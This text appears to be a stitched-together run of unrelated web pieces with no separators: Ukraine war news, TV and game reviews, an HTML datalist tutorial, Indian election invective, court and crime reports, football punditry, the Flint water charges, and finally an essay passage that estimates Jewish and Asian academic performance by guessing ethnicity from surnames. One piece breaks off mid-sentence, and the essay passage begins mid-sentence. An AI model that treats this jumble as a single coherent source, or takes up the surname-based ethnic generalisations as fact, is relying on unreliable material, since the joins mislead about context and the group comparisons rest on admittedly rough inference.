Military spokesman Andriy Lysenko said Ukrainian forces had pulled back from the airport near Luhansk.
However, they had destroyed seven Russian tanks and identified a major build-up of Russian forces to the north and south of the city.
'According to our operational data, there are no fewer than four (Russian) battalion-tactical groups in Ukraine,' he told reporters, adding that each one comprised 400 men.
Earlier, Russia faced claims from Ukraine that the rebels it backs had fired on a naval vessel with artillery.
Two seamen are missing after the attack, which came as the Kremlin increased pressure for an immediate ceasefire, at the same time as calling for rebel-held areas to become a separate state.
Russia Foreign Minister Sergei Lavrov said negotiations taking place on Monday should seek an immediate ceasefire in eastern Ukraine. Pictured are pro-Russian rebels preparing arms for an assault on Ukrainian army positions in Donetsk airport
A Pro-Russian rebel armed with a heavy machine gun prepares to attack Ukrainian troops at Donetsk airport
Russian President Vladimir Putin, center right, poses for a photo with athletes while attending the Judo World Cup in the city of Chelyabinsk in Siberia, Russia, on Sunday. Analysts said Putin wants to establish a 'frozen conflict' to consolidate his gains in Ukraine
A man shoots at targets depicting a portrait of Russian President Vladimir Putin in a shooting range in Lviv
Figure of hate: A target depicting a portrait of Putin that's riddled with bullet holes
Ending hostilities now would consolidate gains for pro-Moscow forces, which the Kiev government say are simply a front for Vladimir Putin.
Russia Foreign Minister Sergei Lavrov said Ukrainian forces must pull back from positions from which they can hit civilian targets, and negotiations taking place on Monday should seek an immediate ceasefire in eastern Ukraine.
'They must leave positions from which they can harm the civilian population,' Lavrov told students in Moscow. 'I very much count on today's negotiations being devoted above all to the task of agreeing an immediate ceasefire, without conditions.'
He also said that from Russia 'there will be no military intervention (in Ukraine), we are for an exclusively peaceful resolution of that most serious crisis, that tragedy'.
Russia Today filmed the BBC's John Sweeney confronting Mr Putin directly about the crisis. He asked him if he regretted the deaths in Ukraine.
Mr Putin said: 'The current government in Ukraine does not want to conduct political negotiations with the eastern regions of the country. Political and essential negotiations.
'What was the purpose of the military actions in the east of the country? What provoked the reactions in the eastern regions?
'The Ukrainian military encircled the big cities and villages. They were shelling houses directly. The purpose of people in eastern regions is to take them away from the villages and stop them shelling the villages. This is what is being neglected in the Western countries.'
Analysts said that Putin wants to establish a 'frozen conflict', which would consolidate his gains in the region, giving him permanent strong influence in Ukraine.
The talks in the Belarussian capital Minsk will bring together representatives of Russia, Ukraine, the OSCE security forum and separatist rebels in eastern Ukraine.
Lavrov's call for a ceasefire came after Ukraine accused rebels of shelling a Navy patrol boat.
Two seamen are missing after Sunday's separatist rebel artillery attack on a patrol boat in the Sea of Azov, and eight seamen were rescued, a Ukrainian border guard official said on Monday.
'The cutter has sunk. We managed to save eight sailors, thanks to other cutters coming to their rescue. Seven of them are injured or burned. Two sailors have gone missing. We are continuing rescue operations,' the official, Serhiy Astakhov, told Reuters.
'After analysing the situation, we believe that this attack was from an artillery system but we don't know yet where it was fired from,' he said.
Conflict: A map showing the military state of play in eastern Ukraine
Analysts said that Putin wants to establish a 'frozen conflict', which would consolidate his gains in the region. Pictured are Ukrainian troops riding in an armoured vehicle in the Donetsk region
Ukrainian President Petro Poroshenko accused Russia on Monday of launching 'direct and open aggression' which he said had radically changed the balance on the battlefield against Kiev in its fight against pro-Russian separatists.
'Direct and open aggression has been launched against Ukraine from a neighbouring state. This has changed the situation in the zone of conflict in a radical way,' he said in a speech at a military academy in Kiev.
Ukrainian troops and local residents were reinforcing the port of Mariupol on Sunday, the next big city in the path of pro-Russian fighters who pushed back government forces along the Azov Sea this past week in an offensive on a new front.
Following events last week in Ukraine there would be high-level personnel changes in the Ukrainian armed forces, Poroshenko said.
Moscow denies the presence of Russian tanks and troops in Ukraine, despite what Nato and Western governments have said is overwhelming evidence to the contrary.
A volunteer helps dig trenches near a block post of the Ukrainian army to defend Mariupol from pro-Russian rebels
Lavrov added that any new sanctions from the European Union or the United States would force Russia to protect its economy, citizens and businesses.
In the case of new sanctions over the Ukraine crisis, he said, 'we will first of all start from our own interests - protect our economy, protect our social sphere, protect our businesses and at the same time draw conclusions from the actions of our partners'.
Lavrov played down Russia's exclusion from the Group of Eight over its annexation of Ukraine's Crimea, saying the forum had lost much of its significance since the formation of the wider G20.
Meanwhile, lights went off temporarily overnight in most cities on the Crimean peninsula, which Russia seized from Ukraine in March, with local leaders accusing Kiev of sabotage.
Ukrainian army servicemen repair an armoured vehicle at their position near Debaltseve, Donetsk region
Some two-thirds of the normal electricity supply from Ukraine went off around 1900GMT, Russian news agency Itar-Tass cited the local electricity distributor as saying, plunging into darkness major cities as Yalta and Sevastopol, the home of the Russian Black Sea Fleet.
Supplies to the peninsula, which is dependent upon Ukraine for 80 per cent of its electricity, were eventually restored, said energy distribution company Crimenergo, but there was no explanation from Ukraine as to the reason for the outage.
But Crimea's acting governor accused Kiev of using electricity as a weapon against the peninsula.
'It is the latest act of sabotage by the Ukrainian authorities, this time aimed at disrupting preparations for the schools' reopening for the beginning of the school year,' Sergei Aksyonov was quoted as saying by RIA-Novosti news agency.
No comment was immediately available from the Ukrainian authorities.
Ukraine says its military is riddled with Russian spies
Concern: Valeriy Heletey says that the Ukrainian army is riddled with Russian spies
With pro-Russian forces making significant gains in Ukraine, Kiev's defence minister has vowed to set up a SMERSH-style counter-intelligence agency to stop Moscow's infiltration weakening his armed forces.
Amid fears that the conflict could descend into full-scale war between the two former Soviet states, Valeriy Heletey claimed that his army is now engaged with Russian servicemen in both Donetsk and Lugansk regions.
The pro-Kremlin forces - which Kiev insists are spearheaded by Vladimir Putin's troops - have now seized control of Lugansk airport and are strengthening around Novoazovsk in Donetsk region, they claim.
The claims come as Nato leaders prepare to meet in Wales for the alliance's toughest summit since the end of the Cold War.
With his army in retreat, defence minister Heletey said he was setting up a new counter-intelligence service based on Stalin's feared SMERSH - 'death to spies' - system established in the Red Army during World War Two.
'Today like never before, it is important to get rid of the Russian 'fifth column' within the Ukrainian Armed Forces and Defence Ministry, and more importantly, in the units and regiments engaged in the Anti-Terrorist Operation,' he said.
The service 'will be somewhat similar to SMERSH and operate mainly on the front-line and in the military command bodies'.
It would 'identify and destroy enemy agents' and 'uncover instances of the non-fulfilment of military orders by commanders as well as instances of desertion'.
Ukrainian servicemen rest near their military equipment inside a military camp in the Donetsk region
The special service will be 'directly subordinated to me', said Heletey, a former policeman appointed by President Petro Poroshenko to crush rebels in the east of Ukraine.
'Russian troops appeared not only in Donetsk but also near Lugansk airport and in other towns,' he told Ukrainian TV, admitting the task facing his army - which is seeking military equipment from the US and EU countries -'has become more difficult'.
This was confirmed by both intelligence and other responsible services, including eyewitnesses who have seen them in Donetsk', he alleged.
'Right now we are already fighting not against the self-proclaimed republics - DPR, DLR [Donetsk and Luhansk people's republics].
'We are fighting against Russia. The Kremlin decides what happens in Donbass, what to do next.'
He warned: 'Everything is decided in the Kremlin. We are holding talks with representatives of the Kremlin.'
He claimed the Russian had plans to'redraw the map' in the region, including in the unofficial statelet of Transistria, a region of Moldova bordering Ukraine to the west, which is entirely supported by Moscow.
While not acknowledging the presence of Russian troops, a rebel spokesman in Lugansk said:
'We have managed to take the airport under our control. It is a very important strategic point, we have been fighting for it for a long time and now we have taken it.'
Concern was high today over the fate of both Ukrainian forces and their Russian captives amid Kiev claims that separatist forces including Russians opened fire on a convoy of evacuees, breaking an agreement.
Borys Filatov, a senior official in the Dnipropetrovsk regional state administration, said: 'The Russians gave their word to let the people evacuate. However, they started to shoot.'
Sources have put the number of dead at dozens or even hundreds, but there is so far no confirmation.
'Our convoy also had tens of wounded and captured Russian troopers. They also were killed,' said Filatov.
Poroshenko and his military commanders are seeking weapons and intelligence support from the West.
However, Ukraine is not a Nato member, and major Western countries have indicated they will not deploy troops on the ground.
'Do you regret the killings in Ukraine?': Putin answers journalist's questions in unplanned interview
The Russian President blamed Ukrainian forces for the current conflict in Ukraine, accusing them of directly targetting homes in eastern cities and villages.
He said that the purpose of the Russian military operation in the eastern regions was to remove civilians from the conflict-stricken region.
He added that he thought the current conflict was due to the Ukrainian government's failure to conduct negotiations with the eastern regions of the country.
He gave his views during an unplanned interview the the BBC's John Sweeney, who questioned Mr Putin after the Russian leader attended a conference in the Belarus capital Minsk.
Putin initially refused to stop for the journalist, but later spoke to him, saying 'I will answer'.
He also offered his opinion on the hopes for peace in Ukraine during the interview, which took place in a corridor.
Mr Putin said the process of direct negotiations between Kiev and the eastern regions was 'the beginning of a very important process'.“The slow black dog bows before the regal fox.”
I’ll be watching each episode of the series and comparing them to the short story they are based on. Number one, ‘The Hood Maker’ based on a short story from 1955.
So first things first. Obviously this show will be compared to the excellent Black Mirror as they are both serious sci-fi anthology series. But I want to start by saying, who cares? I think I speak for a lot of science fiction fans when I say there is room in the world for more clever, hard sci-fi. And ‘The Hood Maker’ suggests this series has a hell of a lot of potential.
The episode hits the ground running, and a lot of the background and exposition is inferred or hinted at. It’s made clear that this world no longer has the technology that they once had, but we don’t need to know any more. The old battered projectors and flickering lights tell us that electricity and power is not the commodity it used to be. The design on the world is excellent. From the dirty streets, to the noir-y detectives, to the creepy hoods themselves it feels like a labour of love from everyone involved.
Writer Matthew Graham (a sci-fi expert with Life on Mars, Ashes to Ashes, and Doctor Who all on his CV) changes the original short story, with good reason too – the original doesn’t even reach 20 pages. The original focuses more on the Teeps being used to prove your loyalty to the state. It was written at the height of McCarthyism and it shows. The Teeps are clearly the villain in the original story but it’s not so black and white here. The state here could very easily be the snoopy British government, checking all of our internet histories, or installing more CCTV cameras. No one wants to have their most secret thoughts exposed, just like no one wants Theresa May knowing what kinky porn they watch.
But at the same time The Teeps are not so good themselves. They are violent and aggressive, but haven’t they earned that? After the degrading living conditions, and the abuse they suffer at the hands of ‘Normals’, they have a good reason to rise up. My absolute favourite thing about the episode is that it doesn’t answer the questions. A few reviews I’ve read said that they feel it could be longer. But I disagree. It is a short story in cinematic form. It drops you into the middle of the action, in media res. And it ends before the story comes to its full conclusion. It’s this that makes it feel most like a short story by Philip K. Dick.
Another difference from the book is that the episode is a lot more personal. As I said above, the Teeps are a lot more nuanced here. There is a lot of time spent on the relationship between Ross and Honor. The original didn’t even follow Ross, he was a side character. And also the hoods of the title aren’t hoods in the original, they’re metal circlets. The new designs were born from a misinterpretation Graham had when reading the original story. The hoods look awesome and work much more visually than strips of metal would. They make a striking image. But these are all natural steps into making what is a small story into a more developed world.
It might annoy some people. The lack of a definitive fate for Game of Thrones heartthrob Richard Madden will irritate the more casual watcher. But the episode contained some classic science fiction ideas and allegories and was bolstered by two excellent central performances from Richard Madden and Holliday Grainger.
‘The Hood Maker’ was an exciting watch, and I am very optimistic for the next episodes. I will be attempting to watch the episodes and read the short stories each week, and then review/compare the two.
Reviewed by JackNative HTML5 Autocomplete with Datalist
This article shows how with the HTML5 datalist element and input list attribute you can easily set up an input box with a custom autocomplete without jQuery, JavaScript or similar.
Choose a pasta
Bavette Cannelloni Fiorentine Gnocchi Pappardelle Penne lisce Pici Rigatoni Spaghetti Tagliatelle
How it works
Add the list attribute to an input field and then create a datalist element. The list value should be the same as the datalist id selector.
HTML
Bavette Cannelloni Fiorentine Gnocchi Pappardelle Penne lisce Pici Rigatoni Spaghetti Tagliatelle
The browser's inbuilt autocomplete is switched off via the autocomplete attribute. Remove this and the browser's autocomplete is displayed below the HTML5 autocomplete suggestions.
Browser support
datalist element and input list attribute are supported in Chrome 49+, IE11, Edge 16+, Firefox 58+ and Chrome for Android 53+. As yet, there's no support in Safari and iOS Safari, but input boxes with the list attribute work as standard and datalist is ignored. Theelement and inputattribute are supported in Chrome 49+, IE11, Edge 16+, Firefox 58+ and Chrome for Android 53+. As yet, there's no support in Safari and iOS Safari, but input boxes with theattribute work as standard andis ignored. There is a minor bug in Chrome where long lists of options are unscrollable, resulting in unselectable items. So be aware, and test.No one will even rent out a house to Sonia: Modi
May 07, 2004 18:33 IST
Notwithstanding disapproval by top Bharatiya Janata Party leaders of his personal attacks on Sonia Gandhi, Gujarat Chief Minister Narender Modi on Friday kept up his tirade against the Congress chief, saying "No one would even rent out a house to her."
"Even before renting out a house, one asks the background of the tenant. I ask Congressmen, does anyone know about the life of Sonia Gandhi before she married Rajiv?" he said addressing his first election rally in Delhi going to polls on May 10.
"If one can't even rent out a house to her, how can we hand over the reins of the country to Gandhi?" he asked.
In the backdrop of Modi's statements earlier that Gandhi and her son Rahul would not get jobs even as clerks and drivers, senior BJP leaders, including Prime Minister Atal Bihari Vajpayee and party chief Venkaiah Naidu, had disapproved them.
Modi described Congress as a 'burden on the country' and Gandhi as a 'burden on the Congress'.
"Gandhi can't even recite Vande Mataram without reading from a paper. She hasn't been able to learn this much in five years as leader of the opposition," he said.
The Gujarat chief minister said the motto of the Congress had degenerated from 'Vande Mataram' to 'Vande Mata-Rome' after Gandhi became its president.
"In this election, Congress is fighting the smallest number of Parliamentary seats this time. In Bihar, it has got just four seats," he said.
"When I meet my good friend Laloo Prasad Yadav, I will ask him why he gave Congress only four seats. He could have given it five seats," Modi said. "At least five people are needed for a funeral procession."
The remarks drew loud cheers from the sizeable crowd in Gujarati Chowk in Jehangirpuri in East Delhi Lok Sabha constituency, which included many people of Gujarati origin.
"Gandhi asks us where were the BJP leaders when the country fought for its independence. I would like to remind her that the main purpose of the freedom struggle was to throw out foreign rulers," he said.
Modi accused the Nehru family of 'insulting' Sardar Vallabhbhai Patel and B R Ambedkar after independence.
He said the ongoing Lok Sabha elections would determine the destiny of the country.
"This election is being fought on the issues of <I>Neta, Niti and Riti</I> (Leader, Policies and Tradition). You will have to decide whether you want your children to suffer like you did during 50 years of Congress rule," he said.
"Congress leaders promise that they will not let Delhi become another Gujarat. I say, you cannot do so even if you want. In my state, the life of every student is insured, water is available in even remote corners and girls can roam on the streets at midnight. Can Congress promise these in Delhi?" he asked.
Singer Ravinder Jain, who joined BJP recently, regaled the crowd with songs praising Prime Minister Atal Bihari Vajpayee and deriding Sonia Gandhi. BJP candidate from East Delhi, Lal Bihari Tiwari, was also present on the occasion.So there I was grinding and bouncing my way toward the dog park in Little Tokyo, when I spotted a medallion tucked into a corner of Sunset Overdrive's radiant cityscape. It prompted me to "Watch Sunset TV" so I happily click the required button.
Now, I'm going into my review of Sunset Overdrive intentionally ignorant of most of the game's details, which is another way of saying I haven't followed the typical onslaught of pre-release developer diaries, trailers, gameplay videos, weapons overviews, etc. It's a way for me to amplify the sense of discovery experienced as I play through Insomniac's upcoming Xbox One exclusive. So I didn't know about "Sunset TV," a weekly show produced by developer Insomniac Games (Ratchet & Clank series, Resistance series) set to be streamed in-game to its community of players.
Tear Down The (4th) Wall
That's why when the studio's Brandon Winfrey started talking to me, my face lit up with surprise and eventually laughter. Seriously, he was talking right at me:
"Hi and welcome to Sunset TV! If you're watching this, that means you're currently reviewing or streaming the game. Look I'm not trying to sway your review score either way, I mean your opinion is your opinion. But I advise you not to use the phrase 'Sunset Overhype' because that's just lazy writing!"
The short video continues (watch it above), explaining the role of Sunset TV and peppering in a few genuinely funny things which are characteristic of the studio's long history of irreverent and tongue-in-cheek humor.
I'm only 2 hours into Sunset Overdrive's main campaign, but the game is gleefully self-aware. It consistently breaks the 4th wall and addresses the player, humorously acknowledging video game tropes and even the player's expectations for certain scenarios. So this clever marketing tie-in felt oddly natural and perfectly executed.
Sure it's comical. Yes, it demonstrates that Insomniac Games hasn't lost their wits. And sure, I'm sharing it because it's a bit "inside baseball" and I figured my readers would enjoy watching it. But digging deeper it indicates some refreshing changes on Microsoft's end (this is co-billed as a Microsoft Studios game after all, and their normal Xbox PR firm is handling press duties).
New-Gen, New Rules
From the perspective of the press, Microsoft might once have been viewed as somewhat stodgy, leaning hard on traditional embargoes and methods of communication. But did you notice what they did with Forza Horizon 2? They encouraged press to stream an hour of the game on Twitch well before release. Ok, baby steps. With Sunset Overdrive they're taking it a step further, giving reviewers the freedom to stream the first 2 hours of the game well ahead of its October 28 release date. I even confirmed that it was ok to publish critical impressions prior to the embargo later this month.
That's certainly not standard operating procedure. Publishing gameplay video leading up to a game's release is traditionally reserved for the developer. Streaming an unreleased game and injecting editorial opinion? Get outta here! Typically you'll see a firm embargo date established by the game publishers or their PR company, restricting any kind of critical evaluation or impressions. That embargo date is normally the day before or day of the game's release.
Another Xbox exclusive, Disney Fantasia: Music Evolved, is set to release next week, and developer Harmonix is allowing pre-release Twitch streams of portions of the game. They're also ok with written impressions going up before the game drops on Tuesday.
This all points to some refreshingly forward-thinking approaches when it comes to the publisher/press relationship and I hope it continues. I've written before about Twitch being an influential platform for not only covering video games, but engaging with your community in the process. So yea, Sunset Overdrive's 4th-wall-breaking message to reviewers is humorous, but also indicative of a larger movement inside game studios and AAA publishers to adapt, and to hopefully extend the conversations we have about video games well before -- and especially well after -- they hit retail.
NEW: Sunset Overdrive First Impressions -- 2 Hours In The AwesomepocalypseA 39-year old man accused of trying to blow up an ATM machine at a Costcutters store in Co Armagh was refused bail today.
Gratian-Ioan Pinter, who is originally from Romania and whose address was given as Brega Hamlet Lane in the Balbriggan area of Dublin, is one of two men accused of causing an explosion at an ATM in Hamiltonsbawn.
The cash machine was targeted on June 5, 2014. It is understood that gas was pumped into it before it was ignited.
At the time of the incident, the PSNI said that whilst no money was taken the cash machine was destroyed and damage was caused to the building in which it was housed.
Pinter is facing two charges arising from the incident - namely causing an explosion likely to endanger life, and attempted burglary with intent to steal.
Newry Crown Court, sitting in Belfast, heard that Pinter - who denies both charges - has been on remand for over two years since his arrest.
Making an application for bail, defence barrister Gavan Duffy QC revealed that his client's co-accused, who is also a foreign national, has already been released on bail and is living in the Republic.
Mr Duffy told Judge Gordon Kerr QC that the date of Pinter's trial "has slipped back" to the end of October and is "quite a distance" away.
The barrister said that outstanding charges Pinter faced "no longer exist", and he also revealed that should Pinter be released on bail, a bed would be available for him at a Simon Community hostel.
Mr Duffy concluded his application by telling Judge Kerr: "He has now served two years in custody, which is the equivalent of a four-year sentence."
When Judge Kerr was informed that Pinter had no ties in Northern Ireland, and after branding the offences he faces as "serious", he said: "Given the nature of these charges, and the lack of connection to this jurisdiction, I do not think bail is appropriate.
It is my view this man should remain in custody. Bail is therefore refused."How will Jurgen Klopp's Liverpool line up at Tottenham? Phil Thompson offers his views
Phil Thompson explains how he expects Liverpool will line up under Jurgen Klopp ahead of his Premier League managerial debut at Tottenham.
The Anfield legend had gone for a 4-3-1-2 with Christian Benteke in attack before he was confirmed out, with Danny Ings initially taking his place. However, the subsequent news of Ings' injury sees Adam Lallana come in alongside Philippe Coutinho, with the formation adjusted to a 4-3-2-1.
Liverpool head to White Hart Lane having run out 5-0 and 3-0 winners in their previous two visits and the Soccer Saturday pundit is tipping further success, although he is wary that the players could be distracted by the intense attention that Klopp's arrival has brought.
Here's how Thommo expects the Reds to line-up in north London and why...
"It's been one of the biggest managerial appointments we've seen in the Premier League but the players need to focus on their own games and not be distracted by the attention.
"Over the last few years Liverpool have had a fantastic record at Tottenham and Jurgen will look at those DVDs and which formations have worked well.
"With that in mind I think he'll go with packing the midfield like Brendan Rodgers did against Spurs, but he'll also be looking to get his best players in their best positions.
"That means Philippe Coutinho, who is probably Liverpool's best and most important player, in the No 10 role. Klopp will want him getting back to the basics of picking out those killer passes early.
"Danny Ings deserved to retain his place in the side but his injury sadly looks to have ruled him out for the season. However, Christian Benteke would likely have come back into the side once he's fit again. When Benteke's fit he'll benefit from having Coutinho and Daniel Sturridge working off him and Jurgen will be asking for a lot more work from his side.
"That's one of the big things from Klopp's time at Dortmund and I think we'll see a more high-pressing game, an identity which Brendan's team lost towards the end of his time at the club.
"Nathaniel Clyne and Alberto Moreno will have to provide the width and work hard to get up and down those flanks.
"It's a shame for Joe Gomez to have suffered the injury having done so well, but Moreno is quick and can get forward, although he needs to work on his delivery in the attacking third.
"Then I think Martin Skrtel and Mamadou Sakho are his most reliable centre-back pairing, obviously sitting in front of Simon Mignolet.
"In midfield I think we'll see Lucas in that holding role with Emre Can to his left and James Milner to his right, with Jordan Henderson coming back in for Can when he's fit.
"However, it might be the case that Klopp favours his countryman Can over Lucas in that defensive midfielder role when Henderson is fit again.
"Some people are thinking that Coutinho will be more in a midfield position on the right and Sturridge could start on the left cutting in, with Milner, Lucas and Can in the middle, but I think he'll prefer players in their natural positions, which is why I've gone with this line-up."American Gods, the new Starz series based on the Neil Gaiman novel, is a hit. And now the Gods are blessing fans of the show with tons of tie-in merch like an American Gods Funko Pop! Vinyl line, action figures from NECA and more. You’ll have to have patience, however, while some of the products will roll out soon, a lot of the cool stuff may not be available until American Gods Season 2 premieres.
Here’s a breakdown of the American Gods toys, books, and other merch coming your way:
Chronicle Books is creating a behind-the-scenes hardcover book about the making of American Gods Season 1.
American Gods trading cards in both print and digital by Rittenhouse Archives.
American Gods Funko Pop! Vinyl figures.
Non-articulated vinyl figures from Titan.
Articulated action figures, foam replicas, and scalers from NECA.
Unfortunately, the American Gods products listed are all in the design and development stage right now, so there aren’t any proper images to share. But we’ll keep our eyes peeled and update you.
In addition to the awesome aforementioned stuff, Dark Horse Deluxe is developing a host of novelty and collectible products including a sculpted coin replica, as well as a pint glass set and shot glass set commemorating the infamous watering hole of the Gods, Jack’s Crocodile Bar.
There’s a ton more, too, like some really cool limited edition graphic tees. Represent is working with American Gods cast members to design tees in support of their favorite charities. Each weekend through the rest of the season a new character tee and corresponding charity will be revealed. Right now, Ricky Whittle’s Shadow Moon tees are up for sale, with a portion of the proceeds benefitting Love Is Louder. The next American Gods limited edition tee will feature Yetide Badaki’s Bilquis character.
ICYMI, American Gods is a show about the war brewing between the Old Gods and New. The traditional Old Gods, with mythological roots from around the world, fear irrelevance as their believers die off or are seduced by the money, technology, and celebrity offered by the New Gods. Shadow Moon (Ricky Whittle) is an ex-con who, left adrift by the recent death of his wife (Emily Browning), becomes the bodyguard and traveling partner to conman Mr. Wednesday (Ian McShane). But in truth, Mr. Wednesday is a powerful old deity, on a cross-country mission to build an army and reclaim his lost glory.(Antimedia) Michigan’s attorney general announced Wednesday that the head of the state’s health department and four others have been charged with involuntary manslaughter for their role in the years-long Flint water crisis.
Nick Lyon, director of Michigan Health and Human Services, “failed in his responsibilities to protect the health and safety of the citizens of Flint,” state AG Bill Schuette said at a press conference Wednesday.
A press statement from Schuette’s office alleges that Lyon waited a year before alerting the public about the outbreak of Legionnaires’ Disease as a result of the crisis, an act that led to the death of 85-year-old Robert Skidmore. He also thwarted an independent researcher from investigating the cause of the outbreak, the statement says.
Lyon was also charged with misconduct in office.
The others now slapped with involuntary manslaughter charges are former Flint Emergency Manager Darnell Earley; former City of Flint Water Department Manager Howard Croft; Michigan Department of Environmental Quality’s Drinking Water Chief Liane Shekter-Smith; and Water Supervisor Stephen Busch.
Those four, the Detroit News reports, “had been charged with less-serious crimes during the past year.”
NPR writes: “More than a dozen former state and city officials have been criminally charged in connection with the Flint water crisis,” and thus far, “Lyon and Wells are the highest-ranking state officials to be charged.”
According to Lonnie Scott, executive director of advocacy group Progress Michigan, the new charges stemming from Schuette’s investigation “show that the failure in Flint lies squarely at the feet of Governor Rick Snyder.”
“Now that these charges have been levied against a top cabinet official, we renew our call for Governor Rick Snyder to immediately resign,” Scott added
Yet Snyder, who on Wednesday offered a statement in support of Lyon and Wells, continues to evade accountability.
The Washington Post reports:
Schuette on Wednesday addressed the pressure he has gotten to charge Snyder, who has heard repeated calls to resign for his appointment of emergency mangers in Flint and the state’s delayed and inadequate response there.
“We only file criminal charges when evidence of probable cause to commit a crime has been established,” Schuette said. He later revealed that investigators have been unable to speak with Snyder about his role in the catastrophe. “We attempted to interview the governor. We were not successful,” he said.
The announcement of the new charges comes a day after Flint activists delivered over 1,000 water bottles to the office of Snyder, each filled with a letter from a Flint resident saying what he or she feels is owed by the governor as a result of the water crisis. One message read: “you owe me clean water and money if not, you schould [sic] go to jail”Image caption Mike McLelland (centre) answers questions at a press conference in January in Kaufman, Texas
A district attorney has been shot dead in Texas, the third justice official to be killed in the US in recent weeks.
The bodies of Mike McLelland, 63, and his wife Cynthia, 65, were found on Saturday in Kaufman County. His deputy, Mark Hasse, was killed in January.
Last week a suspect in the killing of the head of Colorado's department of corrections died in a shootout with police in Texas.
Authorities are investigating whether any of the cases could be linked.
No arrests have been made over Assistant District Attorney Hasse's killing on 31 January.
But police were reportedly looking into a connection between his death and the 19 March killing of Colorado prisons chief Tom Clements.
White supremacist group
Speaking of McLelland's murder, Kaufman Police Chief Chris Aulbaugh told the Dallas Morning News: "It is a shock.
This is not just an attack on two very fine people, but on the justice system Bruce Wood, Kaufman County judge
"It was a shock with Mark Hasse, and now you can just imagine the double shock and until we know what happened, I really can't confirm that it's related, but you always have to assume until it's proven otherwise.''
The lead suspect in Clements' shooting, Evan Spencer Ebel, died in a shootout with police in Decatur, around 135km (85 miles) from Kaufman, on 21 March.
Ebel, 28, was a former Colorado jail inmate and was linked to a white supremacist prison gang called the 211 Crew.
Hasse died the same day as the justice department said the Kaufman County district attorney's office was pursuing a racketeering case against the white supremacist group, the Aryan Brotherhood in Texas.
The indictment, unsealed in November, said the organisation was responsible for killings and arson.
It also said the group had used "extreme violence and threats of violence to maintain internal discipline and retaliate against those believed to be co-operating with law enforcement".
After the killing of Hasse, McLelland had vowed to hunt down the "scum" responsible.
"We're going to pull you out of whatever hole you're in," the district attorney had warned the perpetrators at a news conference.
McLelland previously had a 23-year career in the army, and participated in Operation Desert Storm. He had five children, including a son at the Dallas Police Department.
'Completely senseless'
He was said to have carried a gun with him everywhere, and was extremely cautious when opening the front door of his house, in the town of Forney just outside Dallas.
One neighbour said that after the death of Hasse, a sheriff's official had been posted outside McLelland's home for about a month.
Kaufman County Judge Bruce Wood said: "This is not just an attack on two very fine people, but an attack on the justice system," the Reuters news agency reported.
The judge, who said Mr McLelland was a friend and colleague, added: "I can't fathom someone doing this.
"It is completely senseless, and completely out of the blue. Perhaps it |
allocation of “diversity admissions.”
The easiest means of exploring this hypothesis is to repeat much of our earlier examination of Asian academic performance, but now to include Jews as part of our analysis. Although Jewish names are not quite as absolutely distinctive as East or South Asian ones, they can be determined with reasonably good accuracy, so long as we are careful to note ambiguous cases and recognize that our estimates may easily be off by a small amount; furthermore, we can utilize especially distinctive names as a validation check. But strangely enough, when we perform this sort of analysis, it becomes somewhat difficult to locate major current evidence of the celebrated Jewish intellect and academic achievement discussed at such considerable length by Karabel and many other authors.
For example, consider California, second only to New York in the total number of its Jews, and with its Jewish percentage far above the national average. Over the last couple of years, blogger Steve Sailer and some of his commenters have examined the complete 2010 and 2012 NMS semifinalist lists of the 2000 or so top-scoring California high school seniors for ethnicity, and discovered that as few as 4–5 percent of the names seem to be Jewish, a figure not so dramatically different than the state’s 3.3 percent Jewish population, and an estimate which I have personally confirmed. Meanwhile, the state’s 13 percent Asians account for over 57 percent of the top performing students. Thus, it appears that California Asians are perhaps three times as likely as Jews to do extremely well on academic tests, and this result remains unchanged if we adjust for the age distributions of the two populations.
One means of corroborating these surprising results is to consider the ratios of particularly distinctive ethnic names, and Sailer reported such exact findings made by one of his Jewish readers. For example, across the 2000-odd top scoring California students in 2010, there was just a single NMS semifinalist named Cohen, and also one each for Levy, Kaplan, and a last name beginning with “Gold.” Meanwhile, there were 49 Wangs and 36 Kims, plus a vast number of other highly distinctive Asian names. But according to Census data, the combined number of American Cohens and Levys together outnumber the Wangs almost two-to-one, and the same is true for the four most common names beginning with “Gold.” Put another way, California contains nearly one-fifth of all American Jews, hence almost 60,000 Cohens, Kaplans, Levys, Goldens, Goldsteins, Goldbergs, Goldmans, and Golds, and this population produced only 4 NMS semifinalists, a ratio almost identical to that produced by our general last name estimates. The 2012 California NMS semifinalist lists yield approximately the same ratios.
When we consider the apparent number of Jewish students across the NMS semifinalist lists of other major states, we get roughly similar results. New York has always been the center of the American Jewish community, and at 8.4 percent is half again as heavily Jewish as any other state, while probably containing a large fraction of America’s Jewish financial and intellectual elite. Just as we might expect, the 2011 roster of New York NMS semifinalists is disproportionately filled with Jewish names, constituting about 21 percent of the total, a ratio twice as high as for any other state whose figures are available. But even here, New York’s smaller and much less affluent Asian population is far better represented, providing around 34 percent of the top scoring students. Jews and Asians are today about equal in number within New York City but whereas a generation ago, elite local public schools such as Stuyvesant were very heavily Jewish, today Jews are outnumbered at least several times over by Asians.
This same pattern of relative Asian and Jewish performance on aptitude exams generally appears in the other major states whose recent NMS semifinalist lists I have located and examined, though there is considerable individual variability, presumably due to the particular local characteristics of the Asian and Jewish populations. Across six years of Florida results, Asian students are more than twice as likely to be high scorers compared to their Jewish classmates, with the disparity being nearly as great in Pennsylvania. The relative advantage of Asians is a huge factor of 5.0 in Michigan and 4.1 in Ohio, while in Illinois Asians still do 150 percent as well as Jews. Among our largest states, only in Texas is the Asian performance as low as 120 percent, although Jews are the group that actually does much better in several smaller states, usually those in which the Jewish population is tiny.
As noted earlier, NMS semifinalist lists are available for a total of twenty-five states, including the eight largest, which together contain 75 percent of our national population, as well as 81 percent of American Jews and 80 percent of Asian-Americans, and across this total population Asians are almost twice as likely to be top scoring students as Jews. Extrapolating these results to the nation as a whole would produce a similar ratio, especially when we consider that Asian-rich California has among the toughest NMS semifinalist qualification thresholds. Meanwhile, the national number of Jewish semifinalists comes out at less than 6 percent of the total based on direct inspection of the individual names, with estimates based on either the particularly distinctive names considered by Sailer or the full set of such highly distinctive names used by Weyl yielding entirely consistent figures. Weyl had also found this same relative pattern of high Jewish academic performance being greatly exceeded by even higher Asian performance, with Koreans and Chinese being three or four times as likely as Jews to reach NMS semifinalist status in the late 1980s, though the overall Asian numbers were still quite small at the time.
